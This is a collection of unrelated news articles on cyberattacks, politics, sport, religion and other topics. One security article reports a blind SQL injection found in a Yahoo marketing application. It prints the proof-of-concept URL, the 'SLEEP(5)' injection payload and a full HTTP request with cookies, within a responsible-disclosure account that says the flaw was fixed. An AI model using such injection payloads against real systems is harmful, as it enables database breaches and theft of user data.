XCSSET came into the spotlight in August 2020 after it was found to spread via modified Xcode IDE projects, which, upon the building, were configured to execute the payload. The malware repackages payload modules to imitate legitimate Mac apps, which are ultimately responsible for infecting local Xcode projects and injecting the main payload to execute when the compromised project builds.
XCSSET modules come with the capabilities to steal credentials, capture screenshots, inject malicious JavaScript into websites, plunder user data from different apps, and even encrypt files for a ransom.
Then in March 2021, Kaspersky researchers uncovered XCSSET samples compiled for the new Apple M1 chips, suggesting that the malware campaign was not only ongoing but also that adversaries are actively adapting their executables and porting them to run on new Apple Silicon Macs natively.
The latest research by Trend Micro shows that XCSSET continues to abuse the development version of the Safari browser to plant JavaScript backdoors onto websites via Universal Cross-site Scripting (UXSS) attacks.
"It hosts Safari update packages in the [command-and-control] server, then downloads and installs packages for the user's OS version," Trend Micro researchers said in an analysis published on Friday. "To adapt to the newly-released Big Sur, new packages for 'Safari 14' were added."
In addition to trojanizing Safari to exfiltrate data, the malware is also known for exploiting the remote debugging mode in other browsers such as Google Chrome, Brave, Microsoft Edge, Mozilla Firefox, Opera, Qihoo 360 Browser, and Yandex Browser to carry out UXSS attacks.
What's more, the malware now even attempts to steal account information from multiple websites, including NNCall.net, Envato, and 163.com, and cryptocurrency trading platforms like Huobi and Binance, with abilities to replace the address in a user's cryptocurrency wallet with those under the attacker's control.
XCSSET's mode of distribution via doctored Xcode projects poses a serious threat, as affected developers who unwittingly share their work on GitHub could pass on the malware to their users in the form of the compromised Xcode projects, leading to "a supply-chain-like attack for users who rely on these repositories as dependencies in their own projects."
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The 2014 Yahoo hack disclosed late last year that compromised over 500 million Yahoo user accounts was believed to be carried out by a state-sponsored hacking group.
Now, two Russian intelligence officers and two criminal hackers have been charged by the US government in connection with the 2014 Yahoo hack that compromised about 500 million Yahoo user accounts, the Department of Justice announced Wednesday.
According to the prosecutors, at least 30 million accounts were accessed as part of a spam campaign to access the email contents of thousands of people, including journalists, government officials, and technology company employees.
The four defendants — Two officers from the Russian Federal Security Service (FSB) and two other hackers — are identified as:
Dmitry Aleksandrovich Dokuchaev, 33 — an officer in the FSB Center for Information Security at the time of the hack, and now Russian national and resident.
Igor Anatolyevich Sushchin, 43 — an FSB officer, a superior to Dokuchaev within the FSB, and Russian national and resident.
Alexsey Alexseyevich Belan, aka "Magg," 29 — a Russian national and resident, who has been on the FBI's Most Wanted Hackers list and indicted twice in 2012 and 2013 by U.S. Federal grand juries for hacking and fraud charges.
Karim Baratov, aka "Kay," "Karim Taloverov" and "Karim Akehmet Tokbergenov," 22 — a Canadian and Kazakh national and a resident of Canada.
In a 38-page indictment [PDF] unsealed Wednesday, the prosecutors said the two Russian spies worked with two other hackers to break into and gained initial access to Yahoo in early 2014.
Belan, who is on the FBI's most-wanted cybercriminals list, used the file transfer protocol (FTP) to download the Yahoo database, containing usernames, recovery e-mail accounts, phone numbers as well as "certain information required to manually create, or "mint," account authentication web browser "cookies" for more than 500 million Yahoo accounts."
The spies then used the stolen information to obtain unauthorized access to the contents of accounts at Yahoo, Google and other webmail providers, including those of Russian and American officials, Russian journalists, employees of financial services and other businesses.
The range of charges are officially listed as:
Conspiring to commit computer fraud and abuse
Conspiring to engage in and the theft of trade secrets
Conspiring to engage in and committing economic espionage
Conspiring to commit wire fraud
Counterfeit access device fraud
Counterfeit access device making equipment
Aggravated identity theft
Transmitting code with the intent to cause damage to computers
Unauthorized access to a computer for obtaining information for commercial advantage and private financial gain
Baratov was arrested on Tuesday by the Toronto Police Department, while Belan and the two FSB officers are in Russia. The United States has requested all the three to be handed over to face charges, but the US has no extradition treaty with Russia.
Meanwhile, Assistant Attorney General Mary McCord said that there was no connection between the Wednesday indictment and the investigation into the hacking of the Democratic National Committee (DNC) last year.
The news of the arrest came few weeks after Yahoo and Verizon Communications Inc. agreed to reduce the price of the upcoming acquisition deal by $350 Million in the wake of the two data breaches.
The deal, which was previously finalized at $4.8 Billion, now valued at about $4.48 Billion in cash and is expected to close in the second quarter.
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(CNN)Populist Italian Interior Minister Matteo Salvini made a veiled reference to the late fascist dictator Benito Mussolini on Sunday. Salvini tweeted "tanti nemici, tanto onore," meaning "so many enemies, so much honor," a variation on Mussolini's famous "molti nemici, molto onore," or "many enemies, much honor." He tweeted the comments on the anniversary of Mussolini's birth. Salvini's tweet came in response to a magazine article about Salvini's critics, including the Catholic Church and leading left-wing intellectuals, and his coinciding rise in popularity.Tanti nemici, tanto onore! 😘 https://t.co/NdFjsSkZLw— Matteo Salvini (@matteosalvinimi) July 29, 2018
Separately, in an interview with the UK's Sunday Times newspaper, Salvini, from the right-wing League party, said Italy's low birth rate is being used as an excuse to "import immigrants." "A country which does not create children is destined to die," he said. "We have created a ministry of the family to work on fertility, nurseries, on a fiscal system which takes large families into account. At the end of this mandate, the government will be measured on the number of newborns more than on its public debt." Read MoreHe said that Italy's "tradition, our story, our identity," was at stake as the left uses the fertility crisis as an "excuse" to "import migrants". Giuseppe Conte: Trump's most useful friend in EuropeLast week the leading Roman Catholic weekly Famiglia Cristiana called Salvini the devil in a blistering critique of the interior minister's migration proposals. The magazine ran a front cover with a Latin headline: "Vade retro, Salvini," a play on Jesus' words: "Get behind me, Satan." In the interview with the Sunday Times, Salvini expressed admiration for both US President Donald Trump and Russia's Vladimir Putin, saying Trump was "brave" in his election campaign and has been "consistent" since entering the White House. He said Putin's economic policies have filled the Russian people with "pride." Salvini's comments come as Italian Prime Minister Giuseppe Conte arrives in Washington for a summit with Trump on Monday.As head of the most populist government in Western Europe, Conte is arguably Trump's closest ideological ally in Europe, and as such, a major concern for the European Union.Mahatir Pasha contributed to this report.
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Story highlightsInter Milan beat Udinese 3-1 in Italy's Serie A to stay in hunt for Champions League spotWednesday's matches were rescheduled after death of Livorno's Piermario MorosiniLeaders Juventus and second-placed holders Milan both win to keep the gap at three pointsJuve's 1-0 victory over Cesena condemns the bottom club to Serie B next seasonDutch international Wesley Sneijder scored twice as Inter Milan continued their renaissance in Serie A by beating Udinese 3-1, keeping alive the Italian side's chances of European Champions League qualification.Sneijder's brace turned Wednesday's match after Udinese had taken an early lead through Danilo, then midfielder Ricardo Alvarez scored at the end of the first half to all but seal the win for Inter. The result means that the Nerazzurri have been undefeated -- winning three matches and drawing two -- since youth team coach Andrea Stramaccioni replaced Claudio Ranieri earlier this month.Champions League football was but a distant dream for Inter, but 11 points from a possible 15 has left the 2010 European title winners sixth in the table -- just three points off third-placed Lazio, who surprisingly lost 2-1 to relegation-threatened Novara earlier in the day.The unusually timed round of matches took place Wednesday afternoon, a rescheduling of the games canceled as a mark of respect for Livorno's Piermario Morosini, who collapsed and died during a second division game at Pescara.Unbeaten Juventus remained three points clear of defending champions with four matches to play after both teams won narrowly against lowly opposition.Juve, seeking a first Serie A title since 2003 and 28th overall, condemned bottom club Cesena to division two next season thanks to a late goal from striker Marco Borriello -- his first since joining on loan from Roma in January.Borriello's goal came with 11 minutes to play -- and Kevin Prince-Boateng's winner for Milan came even later at home to fourth-bottom Genoa.Napoli, also chasing a Champions League spot, beat Lecce 2-0 to move up to fourth above Udinese -- who will be Sunday's opponents.Roma lost again, this time 2-1 at home to Fiorentina to be two points behind Inter. In the day's two other games Siena drew 1-1 with Bologna while Parma won 2-1 away at Palermo.
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Moscow (CNN)The arrest of US citizen Paul Whelan in Moscow last week prompted intense speculation in national security circles: It came just 15 days after alleged Russian agent Maria Butina pleaded guilty to conspiracy charges in the United States. The timing seemed to raise one possibility -- that Russian President Vladimir Putin or his government agencies might be looking to orchestrate some sort of swap."I do think that Putin wants there to be some sort of quid pro quo so that he has some leverage over how quickly Butina can be released and probably deported back to Russia as soon as possible," national security analyst Steve Hall told CNN. "But this isn't a spy swap, because it's not really intelligence that's going on, these are more geopolitical policy and political issues that Putin is wrestling with and trying to gain leverage over the United States with."US citizen Paul Whelan formally charged in Russia with espionage, lawyer saysThe Kremlin has certainly made freeing Butina a major priority. Russia's Foreign Ministry launched an energetic social media campaign on her behalf, complete with its own hashtag, #freemariabutina. Ministry spokeswoman Maria Zakharova has used her detention to score political points, accusing the US of treating the Russian citizen to a "medieval inquisition" while in detention. We know less about the conditions Whelan is being kept in in Moscow's Lefortovo jail. But US Ambassador to Russia Jon Huntsman's visit Wednesday to the detained US citizen suggests that the State Department is taking Whelan's case as seriously as Russia's top diplomats are taking Butina's case. Read MoreButina pleaded guilty in federal court last month to attempting to infiltrate Republican political circles and influence US relations with Russia -- in essence, to acting as an unregistered lobbyist for a foreign power. She faces a maximum of five years in prison, but is likely to receive a lesser sentence of zero to six months based on a plea agreement, and may be deported after serving her sentence.Russian agent Maria Butina, pictured in April 2015, pled guilty to conspiracy charges in December.On Thursday, Russia formally charged Whelan with a more severe crime -- espionage -- which can carry a sentence of 10 to 20 years in prison. When the Federal Security Service announced Whelan's arrest on New Year's Eve, the agency accused him of a more severe crime. The FSB's investigative department initiated a criminal case against the American citizen under article 276 of the Criminal Code of the Russian Federation -- espionage -- a provision that recommends a sentence of 10 to 20 years in prison. Whelan's family rejects any claim that he was working a spy, saying the former Marine reservist was in Russia to attend a wedding of a fellow former US military service member and a Russian woman. Other Russians in custodyWhether or not Whelan is an innocent American caught up in a larger political confrontation between Washington and Moscow, his case potentially puts the spotlight on other high-profile Russians in American custody.Zakharova, for instance, has also publicly pressed for the release of convicted Russian arms trafficker Victor Bout, dubbed the "merchant of death," who was sentenced to 25 years in prison in 2012 by a federal judge. Bout, who has maintained his innocence, was convicted in 2011 on four counts of conspiracy to kill Americans, acquire and export anti-aircraft missiles, and provide material support to a terrorist organization. The Russian government has accused the US of pursuing a political agenda in the Bout case. Zakharova has also advocated for the release of another Russian national, Konstantin Yaroshenko, who was convicted in 2011 in federal court of conspiring to import cocaine into the United States after being arrested in Liberia and transferred to the US. In a 2017 briefing, Zakharova said Yaroshenko was "kidnapped" by American intelligence services in Liberia and sentenced for "absolutely unsubstantiated accusations"; the Kremlin has called for his return to Russia on humanitarian grounds for medical treatment."So far, it looks like Konstantin Yaroshenko, like Viktor Bout, who is also serving a long sentence in an American prison, are held hostage in Washington," Zakharova said. Historically, there are precedents for the US and Russia to exchange detainees and prisoners.Ex-Russian spy Sergei Skripal discharged from Salisbury hospital after poisoningTake the case of former Russian spy Sergei Skripal, the former Russian military intelligence officer convicted of spying for the UK. Skripal was part of a spy swap conducted between the US and Russia in 2010, exchanged as part of a group for 10 so-called Russian sleeper agents deported by the US.Skripal's spy swap had a grim postscript: Early last year, he and his daughter were poisoned by a nerve agent in an apparent assassination attempt that the British government blamed on agents of Russian military intelligence. That incident sparked a months-long cycle of espionage accusations, a drama that now looks set to repeat in 2019.
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Story highlights Vatican awash in scandal amid preparations for Pope Benedict XVI's retirementOn Sunday, a British newspaper reported four men accused O'Brien of abuseItalian publications report allegations of priest blackmail by male prostitutesBenedict retires Thursday, the first pope to resign in nearly 600 yearsScandal is threatening to eclipse the poignancy and pageantry of Benedict XVI's historic final days as pope.Vatican officials were already trying Monday to swat down unsavory claims by Italian publications of a brewing episode involving gay priests, male prostitutes and blackmail when news broke that Benedict had moved up the resignation of a Scottish archbishop linked over the weekend by a British newspaper to inappropriate relationships with priests. Benedict announced two weeks ago that he will step down as pope Thursday, becoming the first pontiff to leave the job alive in 598 years.Interactive: Where does the pope live?At 85, he said he was too old, frail and tired to continue on as spiritual leader of the Roman Catholic Church and its 1.2 billion followers worldwide.It was a stunningly unexpected announcement that left church scholars poring over Catholic law to answer such basic questions as when the pope's successor would be chosen and even what he would be called in retirement.JUST WATCHEDNew scandal cast dark cloud over VaticanReplayMore Videos ...MUST WATCHNew scandal cast dark cloud over Vatican 04:15JUST WATCHEDCatholic cardinal quits amid sex scandalReplayMore Videos ...MUST WATCHCatholic cardinal quits amid sex scandal 02:13JUST WATCHEDCNN Explains: Papal successionReplayMore Videos ...MUST WATCHCNN Explains: Papal succession 02:42JUST WATCHEDVatican denies latest scandal claimsReplayMore Videos ...MUST WATCHVatican denies latest scandal claims 02:53JUST WATCHEDThe final days of Benedict XVI's papacyReplayMore Videos ...MUST WATCHThe final days of Benedict XVI's papacy 02:35But the scandals -- along with lingering questions about how the church has handled claims of abuse by Catholic priests around the world -- have dimmed the spotlight on Benedict's final days as pope."Clearly, prior to these scandals erupting, the cardinals had a long checklist of things they were looking for in terms of the new pope," CNN senior Vatican analyst John Allen said Monday, including finding someone to help spread the message of the church and inspire faith amid flagging practice of the Catholic faith in many parts of the world."But in the wake of everything that's happened in the last 72 hours or so, quite clearly a new item is on that list, which is they also want to make sure they pick somebody who's got clean hands," Allen said.Vatican reveals Pope Benedict's new titleArchbishop's resignationThe Vatican confirmed Monday that Benedict had accelerated the resignation of Cardinal Keith O'Brien, the archbishop of Scotland.O'Brien told the pope in November that he would resign effective with his 75th birthday, on March 17. But Benedict decided to make the resignation effective immediately in light of the pope's imminent resignation, the Scottish Catholic Media Office said.The announcement comes a day after a Sunday report by the British newspaper The Observer that three priests and one former priest leveled allegations against O'Brien that date back 30 years.The Observer did not recount details of the claims or identify any of O'Brien's accusers, but said one of the priests alleged "that the cardinal developed an inappropriate relationship with him."O'Brien did not attend Mass at St. Mary's Cathedral in Edinburgh on Sunday, but the Scottish Catholic Media Office told CNN that the cardinal "contests these claims and is taking legal advice."His accusers took their complaints to the Vatican representative in Britain and demanded O'Brien's resignation, The Observer reported. At the Vatican, the Rev. Federico Lombardi, a spokesman for the church, told reporters that Benedict has been informed of the allegations.As late as last week, O'Brien appeared to be making plans to take part in the conclave, when the College of Cardinals gathers in Rome to pick a successor to Benedict.But in a statement in which he thanked God for the good he was able to do and apologized to "all whom I have offended," O'Brien said Monday that he would not be part of that gathering."I do not wish media attention in Rome to be focused on me -- but rather on Pope Benedict XVI and on his successor," O'Brien said.JUST WATCHEDWho will be the next pope?ReplayMore Videos ...MUST WATCHWho will be the next pope? 04:39JUST WATCHEDNew scandal cast dark cloud over VaticanReplayMore Videos ...MUST WATCHNew scandal cast dark cloud over Vatican 04:15JUST WATCHEDVatican scandal before pope resignsReplayMore Videos ...MUST WATCHVatican scandal before pope resigns 05:00Opinion: 'Gay lobby' behind pope's resignation? Not likelyCardinal controversyWhile O'Brien will no longer be involved in electing the new pope, another controversial cardinal's plan to attend is further taking focus from Benedict's final days in office.Cardinal Roger Mahony of Los Angeles is facing fresh attention for his role in the cover-up of sexual abuse by priests.Documents recently released as part of the 2007 settlement in a previous abuse case detail what Terry McKiernan, founder of the watchdog group BishopAccountability.org says is "stark" evidence of efforts by Mahoney and others to sidestep authorities investigating sexual abuse.He recently gave a deposition in a 2010 civil lawsuit filed in the United States by a Mexican citizen suing the Los Angeles archdiocese. The man alleges Mahony and a Mexican cardinal conspired to allow a priest accused of abuse to flee to Mexico, putting an untold number of children at risk. Mahony has denied the allegations.Two groups seeking to stop Mahony's participation in the election said Saturday they have collected nearly 10,000 signatures on a petition against his involvement."His participation in the conclave would only bring clouds of shame at a time that should bring springs of hope," said Chris Pumpelly, the communications director for one of the groups, Catholics United. Survivors Network of those Abused by Priests also worked on the campaign.Church law requires that Mahony attend, the Archdiocese of Los Angeles said.Father Albert Cutie, an Espiscopal priest who studies the Vatican, said it would be impossible to exclude every cardinal with a hand in the church's vast sex-abuse problem."Unfortunately, if you were going to tell me no one can go to the conclave who has part in any type of cover up, you would probably exclude every cardinal in the church, because unfortunately that's the way the church is operated," he said.Blackmail allegationsCatholic population in numbersCatholic population in percentages As if the controversies over O'Brien and Mahony were not enough, two Italian publications reported over the weekend that Benedict had decided to resign not because of age, but because of a brewing scandal over the blackmail of gay priests by male prostitutes in Rome.Benedict received a 300-page report in December detailing the possible blackmail, la Repubblica newspaper and the Panorama news weekly reported, citing an unidentified senior Vatican official and dozens of unnamed sources.The Vatican emphatically denied the allegations this weekend, with Secretary of State Tarcisio Bertone criticizing a rash of "often unverified, unverifiable or completely false news stories" as the cardinals prepare for their conclave.Cardinal Velasio de Paulis, one of the men who will help elect Benedict's successor, called the claims "guesswork and imagination.""There is no proof and these allegations only serve to create a climate of division that helps no one," he said.While no one outside the Vatican has seen the document that purportedly details the claims and Vatican officials have not confirmed it exists, Allen said such a claim is not improbable."To me that passes the smell test," he said. Retirement preparationsAmid the scandal, the Vatican still has a transfer of power to manage.On Monday, Lombardi said it remains unclear when the gathering of church leaders who will elect the next pope will begin.While Benedict issued an order Monday to allow the election to begin sooner than the 15 days after the seat becomes vacant mandated by church rules, the date for the election will be set by the cardinals when they first gather, Monsignor Pier Luigi Celata said Monday at a Vatican press briefing.It still must happen within 20 days of his resignation, the pope said.After his retirement, Benedict is expected to head to the pope's summer residence in Rome before eventually settling in a monastery in Vatican City. Church officials have said he will seek no influence over the election of his successor, or over management of the church.Among other issues, Vatican officials are still trying to work out what Benedict will be called in retirement. One suggestion is "pontifex maximus," Celata said. The term can be translated as "supreme bishop."Vatican officials hope to have an answer next week, Lombardi said.
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(CNN)A judge in Lafayette, Louisiana, is taking a leave of absence and facing calls for her resignation after a video with racist language recorded at her home surfaced.A lawyer for City Court Judge Michelle M. Odinet told the Acadiana Advocate she feels "humiliated, embarrassed, and sorry for what she has done and the harm she has caused to the community," and is taking unpaid leave."What happens in the long term is something she is going to think about in the weeks to come," said the statement by Dane Ciolino, who confirmed the details to CNN.The video, appearing to show surveillance footage of an outdoor altercation with a burglary suspect being played on a television while people, who are not visible, view and comment on the footage using racist language, was shared with local media in Lafayette and is now being shared widely across social media. The Lafayette Police Department said that at approximately 2 a.m. Saturday, two vehicles were burglarized in the driveway of a home, which records show is owned by Odinet and her husband.Read MoreThe suspect attempted to flee on foot but was caught by the victim, who police said was returning home when they saw the suspect getting out of one of the vehicles at the home. The victim held the suspect down until officers arrived, according to the statement from police.In the video circulating online, a male voice can be heard saying, "And Mom's yelling n***er, n***er." Then after what appears to be some jovial banter, a female voice is heard saying, "We have a n ***er, It's a n***er, like a roach," while laughing.The group continues talking back and forth, at one point laughing at someone in the surveillance video tripping and someone else losing their wallet.Then a male voice is heard saying, "That's my phone where it fell out.""The dude had a phone on him," a female voice chimes in. "You should have taken his phone and stolen from him, that f**king a**hole.""Go and get the gun," says another voice. "It's important, very important," says a male voice as the video continues.Several calls for her resignationIt is unknown who recorded the video from inside the home or how it became public.Odinet had earlier sent a statement to CNN affiliate KATC, saying she had been "given a sedative" and had no "recollection of the video and the disturbing language used during it.""My children and I were the victim of an armed burglary at our home. The police were called, and the assailant was arrested. The incident shook me to my core and my mental state was fragile. I was a wreck and am still unable to sleep. I was given a sedative at the time of the video. I have zero recollection of the video and the disturbing language used during it."The judge added: "Anyone who knows me and my husband, knows this is contrary to the way we live our lives. I am deeply sorry and ask for your forgiveness and understanding as my family and I deal with the emotional aftermath of this armed burglary."The condemnation was swift. Gov. John Bel Edwards called for her to resign."It would be my hope that this period of reflection that she's going through will lead her to that same conclusion," he said. The head of the local branch of the NAACP said Odinet should step down. "We call now for her immediate and uncompromising resignation, failing same, we demand swift and immediate act by the Judiciary Committee of the Louisiana Supreme Court, removing her from office," said Lafayette NAACP Chapter President Michael Toussaint. The call was echoed by the Louisiana Legislative Black Caucus, which said the judge had shown "immense racial bias and insensitivity." Odinet was temporarily disqualified Thursday after her lawyer filed a motion on her behalf, which was agreed to by the Judiciary Commission of Louisiana. The state Supreme Court ordered her disqualification and appointed retired Opelousas City Court Judge Vanessa Harris to fill her seat for now.Ciolino added Odinet has "heard the calls from the Governor and the community and resignation is certainly at the top of her list of considerations." The Mayor-President of Lafayette's Consolidated Government, Josh Guillory, said he was disgusted by the reports about Odinet. "This type of language is hurtful, divisive, and unacceptable," he said in a statement. "The fairness and objectivity of our courts are the foundation of our legal system. It is my hope that the judge will do what is best to help the community heal and move forward."City Marshal Reggie Thomas told KATC the language in the video was hurtful to his core. "I am certain that most people of color share my pain when the n-word is used to describe us. With that being said, I'm sure that people of color will find it impossible to trust that they will be treated fairly and equally when they have to stand for judgment before Judge Odinet."Thomas, who noted he was the first African American elected to a citywide position in Lafayette, said Odinet should be held accountable. "It is up to Judge Odinet to remember the oath she took," he said.CNN's Steve Almasy and Jeremy Grisham contributed to this report.
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Washington (CNN)After more than two decades of development and testing, Lockheed Martin's F-35 fighter jet has made its combat debut. The Israel Defense Forces announced Tuesday on Twitter that its version of the aircraft -- dubbed the F-35 "Adir" -- is already flying in operational missions. "The Adir planes are already operational and flying in operational missions. We are the first in the world to use the F-35 in operational activity"— IDF (@IDFSpokesperson) May 22, 2018
"The Adir planes are already operational and flying in operational missions. We are the first in the world to use the F-35 in operational activity," the IDF tweet said. Israel greets first F-35 fighter jets from USIsraeli Air Force Commander Maj. Gen. Amikam Norkin said the stealth fifth-generation aircraft was used to strike two different targets in the Middle East, The Jerusalem Post reported. The F-35 fighter jet is touted as the future of military aviation; a lethal and versatile aircraft that combines stealth capabilities, supersonic speed, extreme agility and state-of-the-art sensor fusion technology, according to Lockheed Martin, the plane's primary contractor. Read MoreHowever, the aircraft, which is the most expensive weapons system in history, has also drawn sharp criticism in recent years after facing a long list of setbacks -- including problems with the software, engines and weapon systems. And critics have continued to express skepticism about the F-35's combat capability despite reassurances by US military leaders who say the kinks are being worked out. The US Air Force became the first military service to declare its version of the F-35 ready for combat in August 2016.The Marine Corps accomplished a significant milestone last year by deploying its variant to Japan -- the aircraft's first permanent overseas deployment. But Israel's announcement on Tuesday marks the first time that the F-35 has been used in an actual combat situation -- a significant moment given the program's checkered past. Over the past five decades, Israel has sought to maintain its superiority in the skies over the Middle East -- perceiving many threats in its neighborhood, including the Syrian conflict and missile attacks from Hezbollah, the Iranian-backed militant group based in Lebanon.In recent years, Russia has also introduced its S-300 and more advanced S-400 surface-to-air missiles systems in Syria -- a challenge to Israel's regional air superiority.Israel acquired the F-35 in response. The fighter can fly virtually undetected but stealth technology does not guarantee a jet can fly unseen.US shows off new F-35 fighter jets ahead of US-South Korea drills Nicknamed the "Mighty One" by the Israeli press, the F-35 is part of a $38 billion Memorandum of Understanding between Israel and the US covering a 10-year period beginning in 2019.The Israeli Air Force has ordered 50 F-35s from the US -- each with a price tag of more than $100 million. It received its first aircraft in 2016 and declared its fleet operationally capable in December of 2017. CNN's Ian Lee contributed to this report.
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It seems that 2013 is the "Data Leakage Year"! Many customers' information and confidential data have been published on the internet coming from government institutions, famous vendors, and companies too.
Ebrahim Hegazy(@Zigoo0) an Egyptian information security advisor who found a high severity vulnerability in "Avira license daemon" days ago, is on the news again, but this time for finding and reporting Blind SQL Injection vulnerability in one of Yahoo! E-marketing applications.
SQL Injection vulnerabilities are ranked as Critical vulnerabilities, because if used by Hackers it will cause a database breach which will lead to confidential information leakage.
A time based blind SQL Injection web vulnerability is detected in the official Yahoo! TW YSM Marketing Application Service.
The vulnerability allows remote attackers to inject own SQL commands to breach the database of that vulnerable application and get access to the user data.
The SQL Injection vulnerability is located in the index.php file of the soeasy module when processing to request manipulated scId parameters. By manipulation of the seed parameter the attackers can inject own SQL commands to compromise the web server application DBMS.
The vulnerability can be exploited by remote attackers without privileged application user account and without requiring user interaction. Successful exploitation of the SQL injection vulnerability results in application and application service DBMS compromise.
Vulnerable Service(s): [+] Yahoo! Inc - TW YSM Marketing
Vulnerable Module(s): [+] soeasy
Vulnerable Module(s): [+] index.php
Vulnerable Parameter(s):[+] scId
But the Ebrahim is a white hat, so he reported the vulnerability to the Yahoo! The security team with recommendations on how to patch the vulnerability.
According to Ebrahim, the time line of the vulnerability was:
2013-02-24: Researcher Notification & Coordination
2013-02-25: Vendor Notification
2013-03-01: Vendor Response/Feedback
2013-04-01: Vendor Fix/Patch by check
Proof of Concept
The time-based sql injection web vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction. For demonstration or reproduce ...
Vulnerable Service Domain: tw.ysm.emarketing.yahoo.com
Vulnerable Module: soeasy
Vulnerable File: index.php
Vulnerable Parameters: ?p=2&scId=
POC:
https://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113; select SLEEP(5)--
Payload:
1; union select SLEEP(5)--
Request:
https://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)--
GET /soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)-- HTTP/1.1
Host: tw.ysm.emarketing.yahoo.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: is_c=1; device=pc; showNews=Y; B=9tgpb118xilu04&b=3&s=mu; AO=o=1&s=1&dnt=1; tw_ysm_soeasy=d%3D351d9185185129780476f856.
17880929%26s%3DxLxK2mb96diFbErWUyv_jGQ--; __utma=266114698.145757337399.1361672202.1361672202.1361672202.1; __utmb=2663114698.
1.10.1361672202; __utmc=2636114698; __utmz=266114698.13616732202.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
DNT: 1
Connection: keep-alive
HTTP/1.0 200 OK
Date: Sun, 24 Feb 2013 02:16:48 GMT
P3P: policyref="https://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi
SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Solution: The vulnerability can be patched by a restriction and secure parse of the scId parameter request.
More details about the vulnerability could be found here. As most of the readers know that Yahoo! doesn't have a bug bounty program or Hall of fame too, so as a reward from Yahoo! for the researchers who finds a vulnerability in Yahoo! Applications, they do award researchers by sending them a T-shirts with Yahoo! logo and some other tokens.
The researcher told us that he received a package sent to him by Yahoo! containing 2 T-shirts and a big cup ...
Lean reward, what do you think? Dear Yahoo the next time you may be the victim of black hat.
Credits
Ebrahim Hegazy is an information security advisor @Starware Group, acknowledged by Google, Microsoft and Ebay for finding and reporting multiple vulnerabilities in their applications.
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London (CNN Business)Nike (NKE) and other major sponsors have come out in support of tennis star Naomi Osaka following her decision to withdraw from the French Open.The sports apparel giant — who signed a sponsorship deal with Osaka in 2019 — applauded the athlete in a statement on Monday for opening up about her struggle with depression. "Our thoughts are with Naomi. We support her and recognize her courage in sharing her own mental health experience," Nike said.Osaka's decision to pull out of the competition came after the tournament, also called Roland Garros, fined her $15,000 for not speaking to the media following her first round match on Sunday. Citing mental health reasons, the four-time major champion announced on Twitter last Wednesday that she would not participate in any news conferences at the tournament. Announcing her subsequent decision to withdraw, she revealed that she has "suffered long bouts of depression" since winning her first Grand Slam title in 2018.Read MoreNaomi Osaka: Serena Williams wants to give world No. 2 a hug; others label her a 'princess'Roland Garros said in a statement that Osaka had failed to honor her contractual media obligations and was fined under the tournament's Code of Conduct. The statement added that Roland Garros had "tried unsuccessfully to speak with her to check on her well-being" and that she was reminded that "rules should apply equally to all players."Other sponsors issued statements in support of Osaka, who was born in Japan and grew up in the United States."Naomi Osaka's decision reminds us all how important it is to prioritize personal health and well-being," Mastercard (MA) said in a statement. "We support her and admire her courage to address important issues, both on and off the court." Osaka became the first number one tennis player to join Mastercard's roster of global ambassadors in 2019.The Naomi Osaka fiasco is a sign that we're nowhere near finished with work on mental healthSwiss luxury watchmaker TAG Heuer said that it supports its brand ambassadors "in triumph but also during challenging periods." "Naomi is going through difficult times and we truly hope to see her back soon. She is a great champion and we are convinced that she will come out of this period stronger, be it professionally or personally," the company said in a statement.Nissin Foods, a Japanese company known for its instant noodles, also released a message of solidarity."We pray for Ms Naomi Osaka's earliest recovery, and wish her continue success," a company spokesperson said in a statement.Nissan, the Japanese automaker, also threw its weight behind Osaka. "We support the right of our ambassadors to express themselves and stand by her decision," the company said in a statement.All Nippon Airways, a Tokyo-based airline, said that it, too, would continue to support Osaka "as a sponsor."Workday, the enterprise software firm, lauded Osaka for speaking out about her struggles."Anyone who has been impacted by mental health knows asking for help is hard," Christine Cefalo, chief marketing officer, said in a statement. "We applaud Naomi Osaka for prioritizing self care and stand by her — and can't wait to see her on the courts again soon." Sweetgreen, a US restaurant chain of which Osaka is a brand ambassador and investor, said: "Our partnership with Naomi is rooted in wellness in all its forms. We support her in furthering the conversation around mental health and are proud to have her as part of the sweetgreen team."Japanese television broadcaster WOWOW, though, said it was "not in the position to comment [on] Ms. Osaka's withdrawal by her personal issue." The Japanese television broadcaster pointed out that "unlike Nissin, ANA and other Japanese companies which endorse Ms. Osaka, our company is a broadcaster which delivers her plays on tennis tour to Japanese viewers." It said it has shown grand slam tournaments, including Roland Garros, for more than two decades. "We sincerely hope that she could overcome it and come back on court as soon as she can, and every Japanese [person expects] it," the broadcaster said.French Open sponsors Rolex, Engie and Infosys (INFY) declined to comment. French label Louis Vuitton, which named Osaka as its new brand ambassador earlier this year, also declined to comment.— Chris Liakos, Chie Kobayashi, Michelle Toh and Nikita Koirala contributed reporting.
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Eastern European country Bulgaria has suffered the biggest data breach in its history that compromised personal and financial information of 5 million adult citizens out of its total population of 7 million people.
According to multiple sources in local Bulgarian media, an unknown hacker earlier this week emailed them download links to 11GB of stolen data which included taxpayer's personal identifiable numbers, addresses, and financial data.
In a brief statement released Monday, the National Revenue Agency (NRA) of Bulgaria said the stolen data originates from the country's tax reporting service.
The NRA also indicated that the Ministry of the Interior and the State Agency for National Security (SANS) have started taking an assessment of the potential vulnerability in NRA's systems that attackers might have exploited to breach into its databases.
It appears that until now, the hacker, who claimed to be a Russian man, has only released 57 out of a total of 110 compromised databases, which is about 21GB in total.
In a follow-up announcement, the NRA said almost 20 days ago, the attacker unauthorizedly accessed about 3 percent of the information contained in their databases.
